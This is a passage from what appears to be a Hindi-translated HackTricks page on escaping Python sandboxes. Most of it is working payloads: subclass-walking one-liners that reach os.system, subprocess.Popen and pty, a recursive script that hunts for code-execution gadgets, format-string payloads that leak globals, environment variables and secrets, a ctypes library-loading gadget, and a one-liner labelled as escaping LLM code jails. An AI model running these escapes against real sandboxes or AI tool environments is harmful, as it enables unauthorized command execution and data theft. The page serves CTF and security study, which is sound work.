'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
|
|
```
|
|
बहुत सारे हैं, और **हमें केवल एक की आवश्यकता है** आदेश निष्पादित करने के लिए:
|
|
```python
|
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
|
|
```
|
|
हम **अन्य पुस्तकालयों** के साथ भी यही कर सकते हैं जिन्हें हम जानते हैं कि **आदेशों को निष्पादित** करने के लिए उपयोग किया जा सकता है:
|
|
```python
|
|
#os
|
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
|
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" == x.__init__.__globals__["__name__"] ][0]["system"]("ls")
|
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'os." in str(x) ][0]['system']('ls')
|
|
|
|
#subprocess
|
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "subprocess" == x.__init__.__globals__["__name__"] ][0]["Popen"]("ls")
|
|
[ x for x in ''.__class__.__base__.__subclasses__() if "'subprocess." in str(x) ][0]['Popen']('ls')
|
|
[ x for x in ''.__class__.__base__.__subclasses__() if x.__name__ == 'Popen' ][0]('ls')
|
|
|
|
#builtins
|
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "__bultins__" in x.__init__.__globals__ ]
|
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__("os").system("ls")
|
|
|
|
#sys
|
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
|
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"].system("ls")
|
|
|
|
#commands (not very common)
|
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "commands" in x.__init__.__globals__ ][0]["commands"].getoutput("ls")
|
|
|
|
#pty (not very common)
|
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pty" in x.__init__.__globals__ ][0]["pty"].spawn("ls")
|
|
|
|
#importlib
|
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].import_module("os").system("ls")
|
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].__import__("os").system("ls")
|
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].import_module("os").system("ls")
|
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].__import__("os").system("ls")
|
|
|
|
#pdb
|
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
|
|
```
|
|
इसके अलावा, हम यह भी खोज सकते हैं कि कौन से मॉड्यूल दुर्भावनापूर्ण पुस्तकालय लोड कर रहे हैं:
|
|
```python
|
|
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
|
for b in bad_libraries_names:
|
|
vuln_libs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and b in x.__init__.__globals__ ]
|
|
print(f"{b}: {', '.join(vuln_libs)}")
|
|
|
|
"""
|
|
os: CompletedProcess, Popen, NullImporter, _HackedGetData, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, HTTPConnection, MimeTypes, BlockFinder, Parameter, BoundArguments, Signature, _FragList, _SSHFormatECDSA, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _CallbackExceptionHelper, Context, Connection, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, Cookie, CookieJar, BaseAdapter, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, NullTranslations
|
|
commands:
|
|
subprocess: BaseDependency, Origin, Version, Package
|
|
pty:
|
|
importlib: NullImporter, _HackedGetData, BlockFinder, Parameter, BoundArguments, Signature, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path
|
|
imp:
|
|
sys: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, WarningMessage, catch_warnings, _GeneratorContextManagerBase, _BaseExitStack, Untokenizer, FrameSummary, TracebackException, CompletedProcess, Popen, finalize, NullImporter, _HackedGetData, _localized_month, _localized_day, Calendar, different_locale, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, MimeTypes, ConnectionPool, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, Scrypt, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, JSONDecoder, Response, monkeypatch, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
|
|
builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, Repr, Completer, CompletedProcess, Popen, _PaddedFile, BlockFinder, Parameter, BoundArguments, Signature
|
|
pdb:
|
|
"""
|
|
```
|
|
इसके अलावा, यदि आप सोचते हैं कि **अन्य पुस्तकालय** **कमांड निष्पादित करने के लिए फ़ंक्शन को कॉल** कर सकते हैं, तो हम संभावित पुस्तकालयों के अंदर **फ़ंक्शन नामों द्वारा भी फ़िल्टर** कर सकते हैं:
|
|
```python
|
|
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
|
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
|
|
for b in bad_libraries_names + bad_func_names:
|
|
vuln_funcs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) for k in x.__init__.__globals__ if k == b ]
|
|
print(f"{b}: {', '.join(vuln_funcs)}")
|
|
|
|
"""
|
|
os: CompletedProcess, Popen, NullImporter, _HackedGetData, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, HTTPConnection, MimeTypes, BlockFinder, Parameter, BoundArguments, Signature, _FragList, _SSHFormatECDSA, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _CallbackExceptionHelper, Context, Connection, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, Cookie, CookieJar, BaseAdapter, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, NullTranslations
|
|
commands:
|
|
subprocess: BaseDependency, Origin, Version, Package
|
|
pty:
|
|
importlib: NullImporter, _HackedGetData, BlockFinder, Parameter, BoundArguments, Signature, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path
|
|
imp:
|
|
sys: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, WarningMessage, catch_warnings, _GeneratorContextManagerBase, _BaseExitStack, Untokenizer, FrameSummary, TracebackException, CompletedProcess, Popen, finalize, NullImporter, _HackedGetData, _localized_month, _localized_day, Calendar, different_locale, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, MimeTypes, ConnectionPool, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, Scrypt, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, JSONDecoder, Response, monkeypatch, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
|
|
builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, Repr, Completer, CompletedProcess, Popen, _PaddedFile, BlockFinder, Parameter, BoundArguments, Signature
|
|
pip:
|
|
pdb:
|
|
system: _wrap_close, _wrap_close
|
|
getstatusoutput: CompletedProcess, Popen
|
|
getoutput: CompletedProcess, Popen
|
|
call: CompletedProcess, Popen
|
|
Popen: CompletedProcess, Popen
|
|
spawn:
|
|
import_module:
|
|
__import__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec
|
|
load_source: NullImporter, _HackedGetData
|
|
execfile:
|
|
execute:
|
|
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
|
|
"""
|
|
```
|
|
## Recursive Search of Builtins, Globals...
|
|
|
|
> [!WARNING]
|
|
> यह बस **शानदार** है। यदि आप **globals, builtins, open या किसी अन्य वस्तु की तलाश कर रहे हैं** तो बस इस स्क्रिप्ट का उपयोग करें **उस वस्तु को खोजने के लिए स्थानों को पुनरावृत्त रूप से खोजने के लिए।**
|
|
```python
|
|
import os, sys # Import these to find more gadgets
|
|
|
|
SEARCH_FOR = {
|
|
# Misc
|
|
"__globals__": set(),
|
|
"builtins": set(),
|
|
"__builtins__": set(),
|
|
"open": set(),
|
|
|
|
# RCE libs
|
|
"os": set(),
|
|
"subprocess": set(),
|
|
"commands": set(),
|
|
"pty": set(),
|
|
"importlib": set(),
|
|
"imp": set(),
|
|
"sys": set(),
|
|
"pip": set(),
|
|
"pdb": set(),
|
|
|
|
# RCE methods
|
|
"system": set(),
|
|
"popen": set(),
|
|
"getstatusoutput": set(),
|
|
"getoutput": set(),
|
|
"call": set(),
|
|
"Popen": set(),
|
|
"popen": set(),
|
|
"spawn": set(),
|
|
"import_module": set(),
|
|
"__import__": set(),
|
|
"load_source": set(),
|
|
"execfile": set(),
|
|
"execute": set()
|
|
}
|
|
|
|
#More than 4 is very time consuming
|
|
MAX_CONT = 4
|
|
|
|
#The ALREADY_CHECKED makes the script run much faster, but some solutions won't be found
|
|
#ALREADY_CHECKED = set()
|
|
|
|
def check_recursive(element, cont, name, orig_n, orig_i, execute):
|
|
# If bigger than maximum, stop
|
|
if cont > MAX_CONT:
|
|
return
|
|
|
|
# If already checked, stop
|
|
#if name and name in ALREADY_CHECKED:
|
|
# return
|
|
|
|
# Add to already checked
|
|
#if name:
|
|
# ALREADY_CHECKED.add(name)
|
|
|
|
# If found add to the dict
|
|
for k in SEARCH_FOR:
|
|
if k in dir(element) or (type(element) is dict and k in element):
|
|
SEARCH_FOR[k].add(f"{orig_i}: {orig_n}.{name}")
|
|
|
|
# Continue with the recursivity
|
|
for new_element in dir(element):
|
|
try:
|
|
check_recursive(getattr(element, new_element), cont+1, f"{name}.{new_element}", orig_n, orig_i, execute)
|
|
|
|
# WARNING: Calling random functions sometimes kills the script
|
|
# Comment this part if you notice that behaviour!!
|
|
if execute:
|
|
try:
|
|
if callable(getattr(element, new_element)):
|
|
check_recursive(getattr(element, new_element)(), cont+1, f"{name}.{new_element}()", orig_i, execute)
|
|
except:
|
|
pass
|
|
|
|
except:
|
|
pass
|
|
|
|
# If in a dict, scan also each key, very important
|
|
if type(element) is dict:
|
|
for new_element in element:
|
|
check_recursive(element[new_element], cont+1, f"{name}[{new_element}]", orig_n, orig_i)
|
|
|
|
|
|
def main():
|
|
print("Checking from empty string...")
|
|
total = [""]
|
|
for i,element in enumerate(total):
|
|
print(f"\rStatus: {i}/{len(total)}", end="")
|
|
cont = 1
|
|
check_recursive(element, cont, "", str(element), f"Empty str {i}", True)
|
|
|
|
print()
|
|
print("Checking loaded subclasses...")
|
|
total = "".__class__.__base__.__subclasses__()
|
|
for i,element in enumerate(total):
|
|
print(f"\rStatus: {i}/{len(total)}", end="")
|
|
cont = 1
|
|
check_recursive(element, cont, "", str(element), f"Subclass {i}", True)
|
|
|
|
print()
|
|
print("Checking from global functions...")
|
|
total = [print, check_recursive]
|
|
for i,element in enumerate(total):
|
|
print(f"\rStatus: {i}/{len(total)}", end="")
|
|
cont = 1
|
|
check_recursive(element, cont, "", str(element), f"Global func {i}", False)
|
|
|
|
print()
|
|
print(SEARCH_FOR)
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main()
|
|
```
|
|
आप इस स्क्रिप्ट का आउटपुट इस पृष्ठ पर देख सकते हैं:
|
|
|
|
{{#ref}}
|
|
https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md
|
|
{{#endref}}
|
|
|
|
## Python फ़ॉर्मेट स्ट्रिंग
|
|
|
|
यदि आप **python** को एक **स्ट्रिंग** भेजते हैं जो **फॉर्मेट** होने वाली है, तो आप **python आंतरिक जानकारी** तक पहुँचने के लिए `{}` का उपयोग कर सकते हैं। आप उदाहरण के लिए globals या builtins तक पहुँचने के लिए पिछले उदाहरणों का उपयोग कर सकते हैं।
|
|
```python
|
|
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
|
|
CONFIG = {
|
|
"KEY": "ASXFYFGK78989"
|
|
}
|
|
|
|
class PeopleInfo:
|
|
def __init__(self, fname, lname):
|
|
self.fname = fname
|
|
self.lname = lname
|
|
|
|
def get_name_for_avatar(avatar_str, people_obj):
|
|
return avatar_str.format(people_obj = people_obj)
|
|
|
|
people = PeopleInfo('GEEKS', 'FORGEEKS')
|
|
|
|
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
|
|
get_name_for_avatar(st, people_obj = people)
|
|
```
|
|
ध्यान दें कि आप **attributes** को सामान्य तरीके से **dot** के साथ `people_obj.__init__` और **dict element** को **parenthesis** के साथ बिना कोट्स के `__globals__[CONFIG]` से **access** कर सकते हैं।
|
|
|
|
यह भी ध्यान दें कि आप `.__dict__` का उपयोग करके एक ऑब्जेक्ट के तत्वों को सूचीबद्ध कर सकते हैं `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`।
|
|
|
|
फॉर्मेट स्ट्रिंग्स की कुछ अन्य दिलचस्प विशेषताएँ हैं, जैसे कि निर्दिष्ट ऑब्जेक्ट में **`str`**, **`repr`** और **`ascii`** फ़ंक्शंस को **`!s`**, **`!r`**, **`!a`** जोड़कर **executing** करने की संभावना:
|
|
```python
|
|
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
|
|
get_name_for_avatar(st, people_obj = people)
|
|
```
|
|
इसके अलावा, कक्षाओं में **नए फॉर्मेटर्स को कोड करना** संभव है:
|
|
```python
|
|
class HAL9000(object):
|
|
def __format__(self, format):
|
|
if (format == 'open-the-pod-bay-doors'):
|
|
return "I'm afraid I can't do that."
|
|
return 'HAL 9000'
|
|
|
|
'{:open-the-pod-bay-doors}'.format(HAL9000())
|
|
#I'm afraid I can't do that.
|
|
```
|
|
**अधिक उदाहरण** **फॉर्मेट** **स्ट्रिंग** उदाहरणों के बारे में [**https://pyformat.info/**](https://pyformat.info) पर पाया जा सकता है।
|
|
|
|
> [!CAUTION]
|
|
> कृपया संवेदनशील जानकारी पढ़ने के लिए गैजेट्स के लिए निम्नलिखित पृष्ठ की भी जांच करें **Python आंतरिक वस्तुओं से**:
|
|
|
|
{{#ref}}
|
|
../python-internal-read-gadgets.md
|
|
{{#endref}}
|
|
|
|
### संवेदनशील जानकारी का प्रकटीकरण पेलोड्स
|
|
```python
|
|
{whoami.__class__.__dict__}
|
|
{whoami.__globals__[os].__dict__}
|
|
{whoami.__globals__[os].environ}
|
|
{whoami.__globals__[sys].path}
|
|
{whoami.__globals__[sys].modules}
|
|
|
|
# Access an element through several links
|
|
{whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__}
|
|
|
|
# Example from https://corgi.rip/posts/buckeye-writeups/
|
|
secret_variable = "clueless"
|
|
x = new_user.User(username='{i.find.__globals__[so].mapperlib.sys.modules[__main__].secret_variable}',password='lol')
|
|
str(x) # Out: clueless
|
|
```
|
|
### LLM Jails bypass
|
|
|
|
From [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
|
|
|
|
### From format to RCE loading libraries
|
|
|
|
According to the [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) it's possible to load arbitrary libraries from disk abusing the format string vulnerability in python.
|
|
|
|
As reminder, every time an action is performed in python some function is executed. For example `2*3` will execute **`(2).mul(3)`** or **`{'a':'b'}['a']`** will be **`{'a':'b'}.__getitem__('a')`**.
|
|
|
|
You have more like this in the section [**Python execution without calls**](#python-execution-without-calls).
|
|
|
|
A python format string vuln doesn't allow to execute function (it's doesn't allow to use parenthesis), so it's not possible to get RCE like `'{0.system("/bin/sh")}'.format(os)`.\
|
|
However, it's possible to use `[]`. Therefore, if a common python library has a **`__getitem__`** or **`__getattr__`** method that executes arbitrary code, it's possible to abuse them to get RCE.
|
|
|
|
Looking for a gadget like that in python, the writeup purposes this [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Where he found this [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
|
|
```python
|
|
class LibraryLoader(object):
|
|
def __init__(self, dlltype):
|
|
self._dlltype = dlltype
|
|
|
|
def __getattr__(self, name):
|
|
if name[0] == '_':
|
|
raise AttributeError(name)
|
|
try:
|
|
dll = self._dlltype(name)
|
|
except OSError:
|
|
raise AttributeError(name)
|
|
setattr(self, name, dll)
|
|
return dll
|
|
|
|
def __getitem__(self, name):
|
|
return getattr(self, name)
|
|
|
|
cdll = LibraryLoader(CDLL)
|
|
pydll = LibraryLoader(PyDLL)
|
|
```
|
|
यह गैजेट **डिस्क से एक लाइब्रेरी लोड करने** की अनुमति देता है। इसलिए, इसे किसी न किसी तरह **लाइब्रेरी को लिखने या अपलोड करने** की आवश्यकता है ताकि इसे हमले के शिकार सर्वर पर सही तरीके से संकलित किया जा सके।
|
|
```python
|
|
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
|
|
```
|
|
चुनौती वास्तव में सर्वर में एक और कमजोरियों का दुरुपयोग करती है जो सर्वर के डिस्क में मनमाने फ़ाइलें बनाने की अनुमति देती है।
|
|
|
|
## Python ऑब्जेक्ट्स का विश्लेषण
|
|
|
|
> [!NOTE]
|
|
> यदि आप **python bytecode** के बारे में गहराई से **सीखना** चाहते हैं तो इस विषय पर इस **शानदार** पोस्ट को पढ़ें: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
|
|
|
कुछ CTFs में आपको एक **कस्टम फ़ंक्शन का नाम** दिया जा सकता है जहाँ **फ्लैग** स्थित है और आपको इसे निकालने के लिए **फ़ंक्शन** के **आंतरिक** को देखना होगा।
|
|
|
|
यह निरीक्षण करने के लिए फ़ंक्शन है:
|
|
```python
|
|
def get_flag(some_input):
|
|
var1=1
|
|
var2="secretcode"
|
|
var3=["some","array"]
|
|
if some_input == var2:
|
|
return "THIS-IS-THE-FALG!"
|
|
else:
|
|
return "Nope"
|
|
```
|
|
#### dir
|
|
```python
|
|
dir() #General dir() to find what we have loaded
|
|
['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x']
|
|
dir(get_flag) #Get info tof the function
|
|
['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']
|
|
```
|
|
#### globals
|
|
|
|
`__globals__` और `func_globals`(एक समान) वैश्विक वातावरण प्राप्त करता है। उदाहरण में आप कुछ आयातित मॉड्यूल, कुछ वैश्विक चर और उनके घोषित सामग्री देख सकते हैं:
|
|
```python
|
|
get_flag.func_globals
|
|
get_flag.__globals__
|
|
{'b': 3, 'names': ('open', 'read'), '__builtins__': <module '__builtin__' (built-in)>, 'codeobj': <code object <module> at 0x7f58c00b26b0, file "noname", line 1>, 'get_flag': <function get_flag at 0x7f58c00b27d0>, 'filename': './poc.py', '__package__': None, 'read': <function read at 0x7f58c00b23d0>, 'code': <type 'code'>, 'bytecode': 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S', 'consts': (None, './poc.py', 'r'), 'x': <unbound method catch_warnings.__init__>, '__name__': '__main__', 'foo': <function foo at 0x7f58c020eb50>, '__doc__': None, 'dis': <module 'dis' from '/usr/lib/python2.7/dis.pyc'>}
|
|
|
|
#If you have access to some variable value
|
|
CustomClassObject.__class__.__init__.__globals__
|
|
```
|
|
[**यहाँ और स्थान देखें जहाँ globals प्राप्त किए जा सकते हैं**](#globals-and-locals)
|
|
|
|
### **फंक्शन कोड तक पहुँचना**
|
|
|
|
**`__code__`** और `func_code`: आप फंक्शन के इस **attribute** को **कोड ऑब्जेक्ट** प्राप्त करने के लिए **एक्सेस** कर सकते हैं।
|
|
```python
|
|
# In our current example
|
|
get_flag.__code__
|
|
<code object get_flag at 0x7f9ca0133270, file "<stdin>", line 1
|
|
|
|
# Compiling some python code
|
|
compile("print(5)", "", "single")
|
|
<code object <module> at 0x7f9ca01330c0, file "", line 1>
|
|
|
|
#Get the attributes of the code object
|
|
dir(get_flag.__code__)
|
|
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
|
|
```
|
|
### कोड जानकारी प्राप्त करना
|
|
```python
|
|
# Another example
|
|
s = '''
|
|
a = 5
|
|
b = 'text'
|
|
def f(x):
|
|
return x
|
|
f(5)
|
|
'''
|
|
